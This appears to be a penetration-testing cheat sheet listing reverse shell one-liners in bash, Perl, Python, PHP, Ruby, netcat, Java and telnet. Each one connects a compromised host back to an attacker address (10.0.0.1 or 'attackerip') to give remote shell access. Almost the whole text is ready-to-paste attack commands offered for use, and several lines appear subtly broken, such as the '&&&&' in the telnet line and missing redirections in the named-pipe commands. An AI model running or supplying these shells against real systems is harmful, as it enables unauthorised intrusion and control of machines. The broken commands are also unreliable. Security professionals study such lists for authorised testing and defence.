If you’re lucky enough to find a command execution vulnerability during a penetration test, pretty soon afterward you’ll probably want an interactive shell. If it’s not possible to add a new account / SSH key / .rhosts file and just log in, your next step is likely to be either trowing back a reverse shell or binding a shell to a TCP port.

Your options for creating a reverse shell are limited by the scripting languages installed on the target system – although you can probably download a binary program if you are properly prepared. The examples shown are tailored to Unix-like systems. Some of the examples below should also work on Windows if you use substitute "/bin/sh -i" with "cmd.exe". Each of the methods below is aimed to be a one-liner that you can copy/paste. As such they’re quite short lines, but not very readable.


BASH

Some versions of bash can send you a reverse shell (this was tested on Ubuntu 18.04)

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

Or

exec /bin/bash 0&0 2>&0

Or

0<&196;exec 196<>/dev/tcp/attackerip/4444; sh <&196 >&196 2>&196

Or

exec 5<>/dev/tcp/attackerip/4444
cat <&5 | while read line; do $line 2>&5 >&5; done

Or

while read line 0<&5; do $line 2>&5 >&5; done

PERL

Here’s a short, feature-free version that depends on /bin/sh:

perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Perl reverse shell that does not depend on /bin/sh:

perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

If the target system is running Windows use the following one-liner:

perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

PYTHON

This was tested under Linux / Python 2.7

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

PHP

This code assumes that the TCP connection uses file descriptor 3. This worked on the most tested system. If it doesn't work, try 4, 5, 6…

php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

RUBY

Short version that depends on /bin/sh:

ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Longer Ruby reverse shell that does not depend on /bin/sh:

ruby -rsocket -e 'exit if fork;c=TCPSocket.new("attackerip","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

If the target system is running Windows use the following one-liner:

ruby -rsocket -e 'c=TCPSocket.new("attackerip","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

NETCAT

Netcat is rarely present on production systems and even if it is there are several versions of Netcat, some of which don’t support the -e option.

nc -e /bin/sh 10.0.0.1 1234

Others possible Netcat reverse shells, depending on the Netcat version and compilation flags:

nc -c /bin/sh attackerip 4444

Or

/bin/sh | nc attackerip 4444

Or

rm -f /tmp/p; mknod /tmp/p p && nc attackerip 4444 0/tmp/p

JAVA

Always present when you need it, the "Java" language can also be a very good solution to establish a reverse shell.

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

TELNET

Of course, you can also use Telnet as an alternative for Netcat:

rm -f /tmp/p; mknod /tmp/p p &&&& telnet attackerip 4444 0/tmp/p

Or

telnet attackerip 4444 | /bin/bash | telnet attackerip 4445